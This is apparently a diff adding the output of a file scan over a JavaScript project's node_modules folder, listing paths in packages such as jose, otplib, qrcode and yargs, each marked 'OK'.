+/scan/node_modules/jose/dist/browser/jwt/verify.js: OK
+/scan/node_modules/jose/dist/browser/util/base64url.js: OK
+/scan/node_modules/jose/dist/browser/util/runtime.js: OK
+/scan/node_modules/jose/dist/browser/util/decode_jwt.js: OK
+/scan/node_modules/jose/dist/browser/util/errors.js: OK
+/scan/node_modules/jose/dist/browser/util/decode_protected_header.js: OK
+/scan/node_modules/jose/dist/browser/runtime/base64url.js: OK
+/scan/node_modules/jose/dist/browser/runtime/runtime.js: OK
+/scan/node_modules/jose/dist/browser/runtime/random.js: OK
+/scan/node_modules/jose/dist/browser/runtime/pbes2kw.js: OK
+/scan/node_modules/jose/dist/browser/runtime/decrypt.js: OK
+/scan/node_modules/jose/dist/browser/runtime/rsaes.js: OK
+/scan/node_modules/jose/dist/browser/runtime/timing_safe_equal.js: OK
+/scan/node_modules/jose/dist/browser/runtime/key_to_jwk.js: OK
+/scan/node_modules/jose/dist/browser/runtime/digest.js: OK
+/scan/node_modules/jose/dist/browser/runtime/bogus.js: OK
+/scan/node_modules/jose/dist/browser/runtime/encrypt.js: OK
+/scan/node_modules/jose/dist/browser/runtime/check_cek_length.js: OK
+/scan/node_modules/jose/dist/browser/runtime/generate.js: OK
+/scan/node_modules/jose/dist/browser/runtime/jwk_to_key.js: OK
+/scan/node_modules/jose/dist/browser/runtime/sign.js: OK
+/scan/node_modules/jose/dist/browser/runtime/subtle_rsaes.js: OK
+/scan/node_modules/jose/dist/browser/runtime/verify.js: OK
+/scan/node_modules/jose/dist/browser/runtime/asn1.js: OK
+/scan/node_modules/jose/dist/browser/runtime/fetch_jwks.js: OK
+/scan/node_modules/jose/dist/browser/runtime/ecdhes.js: OK
+/scan/node_modules/jose/dist/browser/runtime/check_key_length.js: OK
+/scan/node_modules/jose/dist/browser/runtime/is_key_like.js: OK
+/scan/node_modules/jose/dist/browser/runtime/aeskw.js: OK
+/scan/node_modules/jose/dist/browser/runtime/get_sign_verify_key.js: OK
+/scan/node_modules/jose/dist/browser/runtime/zlib.js: OK
+/scan/node_modules/jose/dist/browser/runtime/webcrypto.js: OK
+/scan/node_modules/jose/dist/browser/runtime/subtle_dsa.js: OK
+/scan/node_modules/jose/dist/browser/index.js: OK
+/scan/node_modules/jose/dist/browser/key/export.js: OK
+/scan/node_modules/jose/dist/browser/key/import.js: OK
+/scan/node_modules/jose/dist/browser/key/generate_secret.js: OK
+/scan/node_modules/jose/dist/browser/key/generate_key_pair.js: OK
+/scan/node_modules/jose/dist/browser/jwk/embedded.js: OK
+/scan/node_modules/jose/dist/browser/jwk/thumbprint.js: OK
+/scan/node_modules/jose/dist/browser/jwe/compact/decrypt.js: OK
+/scan/node_modules/jose/dist/browser/jwe/compact/encrypt.js: OK
+/scan/node_modules/jose/dist/browser/jwe/general/decrypt.js: OK
+/scan/node_modules/jose/dist/browser/jwe/general/encrypt.js: OK
+/scan/node_modules/jose/dist/browser/jwe/flattened/decrypt.js: OK
+/scan/node_modules/jose/dist/browser/jwe/flattened/encrypt.js: OK
+/scan/node_modules/jose/dist/browser/package.json: OK
+/scan/node_modules/jose/dist/browser/lib/encrypt_key_management.js: OK
+/scan/node_modules/jose/dist/browser/lib/aesgcmkw.js: OK
+/scan/node_modules/jose/dist/browser/lib/is_disjoint.js: OK
+/scan/node_modules/jose/dist/browser/lib/format_pem.js: OK
+/scan/node_modules/jose/dist/browser/lib/iv.js: OK
+/scan/node_modules/jose/dist/browser/lib/is_object.js: OK
+/scan/node_modules/jose/dist/browser/lib/validate_algorithms.js: OK
+/scan/node_modules/jose/dist/browser/lib/check_p2s.js: OK
+/scan/node_modules/jose/dist/browser/lib/buffer_utils.js: OK
+/scan/node_modules/jose/dist/browser/lib/jwt_claims_set.js: OK
+/scan/node_modules/jose/dist/browser/lib/secs.js: OK
+/scan/node_modules/jose/dist/browser/lib/crypto_key.js: OK
+/scan/node_modules/jose/dist/browser/lib/invalid_key_input.js: OK
+/scan/node_modules/jose/dist/browser/lib/epoch.js: OK
+/scan/node_modules/jose/dist/browser/lib/cek.js: OK
+/scan/node_modules/jose/dist/browser/lib/decrypt_key_management.js: OK
+/scan/node_modules/jose/dist/browser/lib/check_key_type.js: OK
+/scan/node_modules/jose/dist/browser/lib/validate_crit.js: OK
+/scan/node_modules/jose/dist/browser/lib/check_iv_length.js: OK
+/scan/node_modules/jose/dist/browser/jwks/local.js: OK
+/scan/node_modules/jose/dist/browser/jwks/remote.js: OK
+/scan/node_modules/jose/dist/node/esm/jws/compact/sign.js: OK
+/scan/node_modules/jose/dist/node/esm/jws/compact/verify.js: OK
+/scan/node_modules/jose/dist/node/esm/jws/general/sign.js: OK
+/scan/node_modules/jose/dist/node/esm/jws/general/verify.js: OK
+/scan/node_modules/jose/dist/node/esm/jws/flattened/sign.js: OK
+/scan/node_modules/jose/dist/node/esm/jws/flattened/verify.js: OK
+/scan/node_modules/jose/dist/node/esm/jwt/decrypt.js: OK
+/scan/node_modules/jose/dist/node/esm/jwt/produce.js: OK
+/scan/node_modules/jose/dist/node/esm/jwt/unsecured.js: OK
+/scan/node_modules/jose/dist/node/esm/jwt/encrypt.js: OK
+/scan/node_modules/jose/dist/node/esm/jwt/sign.js: OK
+/scan/node_modules/jose/dist/node/esm/jwt/verify.js: OK
+/scan/node_modules/jose/dist/node/esm/util/base64url.js: OK
+/scan/node_modules/jose/dist/node/esm/util/runtime.js: OK
+/scan/node_modules/jose/dist/node/esm/util/decode_jwt.js: OK
+/scan/node_modules/jose/dist/node/esm/util/errors.js: OK
+/scan/node_modules/jose/dist/node/esm/util/decode_protected_header.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/asn1_sequence_decoder.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/base64url.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/flags.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/cbc_tag.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/runtime.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/random.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/pbes2kw.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/decrypt.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/rsaes.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/timing_safe_equal.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/node_key.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/key_to_jwk.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/digest.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/encrypt.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/check_cek_length.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/generate.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/get_named_curve.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/ciphers.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/jwk_to_key.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/check_modulus_length.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/asn1_sequence_encoder.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/sign.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/verify.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/hmac_digest.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/asn1.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/fetch_jwks.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/ecdhes.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/is_key_like.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/aeskw.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/get_sign_verify_key.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/zlib.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/is_key_object.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/webcrypto.js: OK
+/scan/node_modules/jose/dist/node/esm/runtime/dsa_digest.js: OK
+/scan/node_modules/jose/dist/node/esm/index.js: OK
+/scan/node_modules/jose/dist/node/esm/key/export.js: OK
+/scan/node_modules/jose/dist/node/esm/key/import.js: OK
+/scan/node_modules/jose/dist/node/esm/key/generate_secret.js: OK
+/scan/node_modules/jose/dist/node/esm/key/generate_key_pair.js: OK
+/scan/node_modules/jose/dist/node/esm/jwk/embedded.js: OK
+/scan/node_modules/jose/dist/node/esm/jwk/thumbprint.js: OK
+/scan/node_modules/jose/dist/node/esm/jwe/compact/decrypt.js: OK
+/scan/node_modules/jose/dist/node/esm/jwe/compact/encrypt.js: OK
+/scan/node_modules/jose/dist/node/esm/jwe/general/decrypt.js: OK
+/scan/node_modules/jose/dist/node/esm/jwe/general/encrypt.js: OK
+/scan/node_modules/jose/dist/node/esm/jwe/flattened/decrypt.js: OK
+/scan/node_modules/jose/dist/node/esm/jwe/flattened/encrypt.js: OK
+/scan/node_modules/jose/dist/node/esm/package.json: OK
+/scan/node_modules/jose/dist/node/esm/lib/encrypt_key_management.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/aesgcmkw.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/is_disjoint.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/iv.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/is_object.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/validate_algorithms.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/check_p2s.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/buffer_utils.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/jwt_claims_set.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/secs.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/crypto_key.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/invalid_key_input.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/epoch.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/cek.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/decrypt_key_management.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/check_key_type.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/validate_crit.js: OK
+/scan/node_modules/jose/dist/node/esm/lib/check_iv_length.js: OK
+/scan/node_modules/jose/dist/node/esm/jwks/local.js: OK
+/scan/node_modules/jose/dist/node/esm/jwks/remote.js: OK
+/scan/node_modules/jose/dist/node/cjs/jws/compact/sign.js: OK
+/scan/node_modules/jose/dist/node/cjs/jws/compact/verify.js: OK
+/scan/node_modules/jose/dist/node/cjs/jws/general/sign.js: OK
+/scan/node_modules/jose/dist/node/cjs/jws/general/verify.js: OK
+/scan/node_modules/jose/dist/node/cjs/jws/flattened/sign.js: OK
+/scan/node_modules/jose/dist/node/cjs/jws/flattened/verify.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwt/decrypt.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwt/produce.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwt/unsecured.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwt/encrypt.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwt/sign.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwt/verify.js: OK
+/scan/node_modules/jose/dist/node/cjs/util/base64url.js: OK
+/scan/node_modules/jose/dist/node/cjs/util/runtime.js: OK
+/scan/node_modules/jose/dist/node/cjs/util/decode_jwt.js: OK
+/scan/node_modules/jose/dist/node/cjs/util/errors.js: OK
+/scan/node_modules/jose/dist/node/cjs/util/decode_protected_header.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/asn1_sequence_decoder.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/base64url.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/flags.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/cbc_tag.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/runtime.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/random.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/pbes2kw.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/decrypt.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/rsaes.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/timing_safe_equal.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/node_key.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/key_to_jwk.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/digest.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/encrypt.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/check_cek_length.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/generate.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/get_named_curve.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/ciphers.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/jwk_to_key.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/check_modulus_length.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/asn1_sequence_encoder.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/sign.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/verify.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/hmac_digest.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/asn1.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/fetch_jwks.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/ecdhes.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/is_key_like.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/aeskw.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/get_sign_verify_key.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/zlib.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/is_key_object.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/webcrypto.js: OK
+/scan/node_modules/jose/dist/node/cjs/runtime/dsa_digest.js: OK
+/scan/node_modules/jose/dist/node/cjs/index.js: OK
+/scan/node_modules/jose/dist/node/cjs/key/export.js: OK
+/scan/node_modules/jose/dist/node/cjs/key/import.js: OK
+/scan/node_modules/jose/dist/node/cjs/key/generate_secret.js: OK
+/scan/node_modules/jose/dist/node/cjs/key/generate_key_pair.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwk/embedded.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwk/thumbprint.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwe/compact/decrypt.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwe/compact/encrypt.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwe/general/decrypt.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwe/general/encrypt.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwe/flattened/decrypt.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwe/flattened/encrypt.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/encrypt_key_management.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/aesgcmkw.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/is_disjoint.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/iv.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/is_object.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/validate_algorithms.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/check_p2s.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/buffer_utils.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/jwt_claims_set.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/secs.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/crypto_key.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/invalid_key_input.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/epoch.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/cek.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/decrypt_key_management.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/check_key_type.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/validate_crit.js: OK
+/scan/node_modules/jose/dist/node/cjs/lib/check_iv_length.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwks/local.js: OK
+/scan/node_modules/jose/dist/node/cjs/jwks/remote.js: OK
+/scan/node_modules/jose/README.md: OK
+/scan/node_modules/jose/package.json: OK
+/scan/node_modules/stream-events/index.js: OK
+/scan/node_modules/stream-events/readme.md: OK
+/scan/node_modules/stream-events/package.json: OK
+/scan/node_modules/stream-events/index.d.ts: OK
+/scan/node_modules/siginfo/test.js: OK
+/scan/node_modules/siginfo/LICENSE: OK
+/scan/node_modules/siginfo/index.js: OK
+/scan/node_modules/siginfo/README.md: OK
+/scan/node_modules/siginfo/package.json: OK
+/scan/node_modules/siginfo/.travis.yml: OK
+/scan/node_modules/@otplib/preset-default/LICENSE: OK
+/scan/node_modules/@otplib/preset-default/index.js: OK
+/scan/node_modules/@otplib/preset-default/README.md: OK
+/scan/node_modules/@otplib/preset-default/package.json: OK
+/scan/node_modules/@otplib/preset-default/index.d.ts: OK
+/scan/node_modules/@otplib/preset-v11/LICENSE: OK
+/scan/node_modules/@otplib/preset-v11/index.js: OK
+/scan/node_modules/@otplib/preset-v11/README.md: OK
+/scan/node_modules/@otplib/preset-v11/package.json: OK
+/scan/node_modules/@otplib/preset-v11/index.d.ts: OK
+/scan/node_modules/@otplib/core/LICENSE: OK
+/scan/node_modules/@otplib/core/authenticator.d.ts: OK
+/scan/node_modules/@otplib/core/index.js: OK
+/scan/node_modules/@otplib/core/README.md: OK
+/scan/node_modules/@otplib/core/package.json: OK
+/scan/node_modules/@otplib/core/utils.d.ts: OK
+/scan/node_modules/@otplib/core/hotp.d.ts: OK
+/scan/node_modules/@otplib/core/index.d.ts: OK
+/scan/node_modules/@otplib/core/totp.d.ts: OK
+/scan/node_modules/@otplib/plugin-crypto/LICENSE: OK
+/scan/node_modules/@otplib/plugin-crypto/index.js: OK
+/scan/node_modules/@otplib/plugin-crypto/README.md: OK
+/scan/node_modules/@otplib/plugin-crypto/package.json: OK
+/scan/node_modules/@otplib/plugin-crypto/index.d.ts: OK
+/scan/node_modules/@otplib/plugin-thirty-two/LICENSE: OK
+/scan/node_modules/@otplib/plugin-thirty-two/index.js: OK
+/scan/node_modules/@otplib/plugin-thirty-two/README.md: OK
+/scan/node_modules/@otplib/plugin-thirty-two/package.json: OK
+/scan/node_modules/@otplib/plugin-thirty-two/index.d.ts: OK
+/scan/node_modules/has-flag/license: OK
+/scan/node_modules/has-flag/index.js: OK
+/scan/node_modules/has-flag/readme.md: OK
+/scan/node_modules/has-flag/package.json: OK
+/scan/node_modules/has-flag/index.d.ts: OK
+/scan/node_modules/supports-color/license: OK
+/scan/node_modules/supports-color/index.js: OK
+/scan/node_modules/supports-color/readme.md: OK
+/scan/node_modules/supports-color/package.json: OK
+/scan/node_modules/supports-color/browser.js: OK
+/scan/node_modules/wrap-ansi-cjs/license: OK
+/scan/node_modules/wrap-ansi-cjs/index.js: OK
+/scan/node_modules/wrap-ansi-cjs/readme.md: OK
+/scan/node_modules/wrap-ansi-cjs/package.json: OK
+/scan/node_modules/vary/LICENSE: OK
+/scan/node_modules/vary/HISTORY.md: OK
+/scan/node_modules/vary/index.js: OK
+/scan/node_modules/vary/README.md: OK
+/scan/node_modules/vary/package.json: OK
+/scan/node_modules/qrcode/license: OK
+/scan/node_modules/qrcode/bin/qrcode: OK
+/scan/node_modules/qrcode/node_modules/wrap-ansi/license: OK
+/scan/node_modules/qrcode/node_modules/wrap-ansi/index.js: OK
+/scan/node_modules/qrcode/node_modules/wrap-ansi/readme.md: OK
+/scan/node_modules/qrcode/node_modules/wrap-ansi/package.json: OK
+/scan/node_modules/qrcode/node_modules/y18n/LICENSE: OK
+/scan/node_modules/qrcode/node_modules/y18n/CHANGELOG.md: OK
+/scan/node_modules/qrcode/node_modules/y18n/index.js: OK
+/scan/node_modules/qrcode/node_modules/y18n/README.md: OK
+/scan/node_modules/qrcode/node_modules/y18n/package.json: OK
+/scan/node_modules/qrcode/node_modules/yargs-parser/CHANGELOG.md: OK
+/scan/node_modules/qrcode/node_modules/yargs-parser/index.js: OK
+/scan/node_modules/qrcode/node_modules/yargs-parser/README.md: OK
+/scan/node_modules/qrcode/node_modules/yargs-parser/package.json: OK
+/scan/node_modules/qrcode/node_modules/yargs-parser/lib/tokenize-arg-string.js: OK
+/scan/node_modules/qrcode/node_modules/yargs-parser/LICENSE.txt: OK
+/scan/node_modules/qrcode/node_modules/p-locate/license: OK
+/scan/node_modules/qrcode/node_modules/p-locate/index.js: OK
+/scan/node_modules/qrcode/node_modules/p-locate/readme.md: OK
+/scan/node_modules/qrcode/node_modules/p-locate/package.json: OK
+/scan/node_modules/qrcode/node_modules/p-locate/index.d.ts: OK
+/scan/node_modules/qrcode/node_modules/p-limit/license: OK
+/scan/node_modules/qrcode/node_modules/p-limit/index.js: OK
+/scan/node_modules/qrcode/node_modules/p-limit/readme.md: OK
+/scan/node_modules/qrcode/node_modules/p-limit/package.json: OK
+/scan/node_modules/qrcode/node_modules/p-limit/index.d.ts: OK
+/scan/node_modules/qrcode/node_modules/find-up/license: OK
+/scan/node_modules/qrcode/node_modules/find-up/index.js: OK
+/scan/node_modules/qrcode/node_modules/find-up/readme.md: OK
+/scan/node_modules/qrcode/node_modules/find-up/package.json: OK
+/scan/node_modules/qrcode/node_modules/find-up/index.d.ts: OK
+/scan/node_modules/qrcode/node_modules/cliui/CHANGELOG.md: OK
+/scan/node_modules/qrcode/node_modules/cliui/index.js: OK
+/scan/node_modules/qrcode/node_modules/cliui/README.md: OK
+/scan/node_modules/qrcode/node_modules/cliui/package.json: OK
+/scan/node_modules/qrcode/node_modules/cliui/LICENSE.txt: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/tr.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/hu.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/nl.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/pirate.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/zh_CN.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/ja.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/de.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/ru.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/pl.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/fi.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/pt.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/be.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/en.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/it.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/fr.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/hi.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/ko.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/id.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/pt_BR.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/zh_TW.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/th.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/nn.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/es.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/locales/nb.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/yargs.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/LICENSE: OK
+/scan/node_modules/qrcode/node_modules/yargs/CHANGELOG.md: OK
+/scan/node_modules/qrcode/node_modules/yargs/index.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/README.md: OK
+/scan/node_modules/qrcode/node_modules/yargs/package.json: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/argsert.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/usage.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/common-types.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/yargs.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/parse-command.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/apply-extends.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/yerror.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/parse-command.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/obj-filter.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/completion.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/is-promise.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/command.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/is-promise.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/completion-templates.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/levenshtein.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/command.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/apply-extends.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/middleware.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/validation.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/middleware.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/validation.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/usage.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/yargs.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/obj-filter.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/completion-templates.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/process-argv.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/completion.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/common-types.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/levenshtein.js: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/process-argv.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/yerror.d.ts: OK
+/scan/node_modules/qrcode/node_modules/yargs/build/lib/argsert.d.ts: OK
+/scan/node_modules/qrcode/node_modules/locate-path/license: OK
+/scan/node_modules/qrcode/node_modules/locate-path/index.js: OK
+/scan/node_modules/qrcode/node_modules/locate-path/readme.md: OK
+/scan/node_modules/qrcode/node_modules/locate-path/package.json: OK
+/scan/node_modules/qrcode/node_modules/locate-path/index.d.ts: OK
+/scan/node_modules/qrcode/README.md: OK
+/scan/node_modules/qrcode/package.json: OK
+/scan/node_modules/qrcode/lib/renderer/svg-tag.js: OK
+/scan/node_modules/qrcode/lib/renderer/utf8.js: OK
+/scan/node_modules/qrcode/lib/renderer/terminal.js: OK
+/scan/node_modules/qrcode/lib/renderer/terminal/terminal.js: OK
+/scan/node_modules/qrcode/lib/renderer/terminal/terminal-small.js: OK
+/scan/node_modules/qrcode/lib/renderer/canvas.js: OK
+/scan/node_modules/qrcode/lib/renderer/svg.js: OK
+/scan/node_modules/qrcode/lib/renderer/utils.js: OK
+/scan/node_modules/qrcode/lib/renderer/png.js: OK
+/scan/node_modules/qrcode/lib/core/bit-matrix.js: OK
+/scan/node_modules/qrcode/lib/core/segments.js: OK
+/scan/node_modules/qrcode/lib/core/finder-pattern.js: OK
+/scan/node_modules/qrcode/lib/core/qrcode.js: OK
+/scan/node_modules/qrcode/lib/core/alphanumeric-data.js: OK
+/scan/node_modules/qrcode/lib/core/error-correction-level.js: OK
+/scan/node_modules/qrcode/lib/core/kanji-data.js: OK
+/scan/node_modules/qrcode/lib/core/alignment-pattern.js: OK
+/scan/node_modules/qrcode/lib/core/galois-field.js: OK
+/scan/node_modules/qrcode/lib/core/reed-solomon-encoder.js: OK
+/scan/node_modules/qrcode/lib/core/error-correction-code.js: OK
+/scan/node_modules/qrcode/lib/core/version.js: OK
+/scan/node_modules/qrcode/lib/core/version-check.js: OK
+/scan/node_modules/qrcode/lib/core/numeric-data.js: OK
+/scan/node_modules/qrcode/lib/core/bit-buffer.js: OK
+/scan/node_modules/qrcode/lib/core/regex.js: OK
+/scan/node_modules/qrcode/lib/core/polynomial.js: OK
+/scan/node_modules/qrcode/lib/core/byte-data.js: OK
+/scan/node_modules/qrcode/lib/core/utils.js: OK
+/scan/node_modules/qrcode/lib/core/mask-pattern.js: OK
+/scan/node_modules/qrcode/lib/core/mode.js: OK
+/scan/node_modules/qrcode/lib/core/format-info.js: OK
+/scan/node_modules/qrcode/lib/can-promise.js: OK
+/scan/node_modules/qrcode/lib/server.js: OK
+/scan/node_modules/qrcode/lib/index.js: OK
+/scan/node_modules/qrcode/lib/browser.js: OK
+/scan/node_modules/qrcode/helper/to-sjis-browser.js: OK
+/scan/node_modules/qrcode/helper/to-sjis.js: OK
+/scan/node_modules/supports-preserve-symlinks-flag/LICENSE: OK
+/scan/node_modules/supports-preserve-symlinks-flag/test/index.js: OK
+/scan/node_modules/supports-preserve-symlinks-flag/CHANGELOG.md: OK
+/scan/node_modules/supports-preserve-symlinks-flag/.eslintrc: OK
+/scan/node_modules/supports-preserve-symlinks-flag/index.js: OK
+/scan/node_modules/supports-preserve-symlinks-flag/README.md: OK
+/scan/node_modules/supports-preserve-symlinks-flag/package.json: OK
+/scan/node_modules/supports-preserve-symlinks-flag/.github/FUNDING.yml: OK
